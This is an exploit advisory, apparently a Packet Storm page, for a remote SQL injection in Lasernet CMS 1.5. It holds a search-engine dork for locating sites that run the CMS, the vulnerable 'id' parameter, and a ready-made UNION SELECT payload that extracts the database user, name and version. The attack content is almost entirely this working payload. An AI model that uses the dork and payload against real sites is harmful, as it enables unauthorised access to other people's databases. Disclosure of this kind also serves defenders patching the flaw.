Lasernet CMS version 1.5 suffers from a remote SQL injection vulnerability.
4278f1f7a64e594712df0f61086117c001007d0493ac22db58759fdc3d3eb94bTitle : LASERnet CMS Vulnerable to SQL Injection
Vendor : http://lasernet.gr/cms.php
Dork : intext:"Powered by Lasernet"
Category: WebApps
http://localhost.com/index.php?id=[SQL]
Demo:
http://localhost.com/index.php
?id=-1' UNION SELECT 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8,9,10,11,12,13--+
© 2024 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed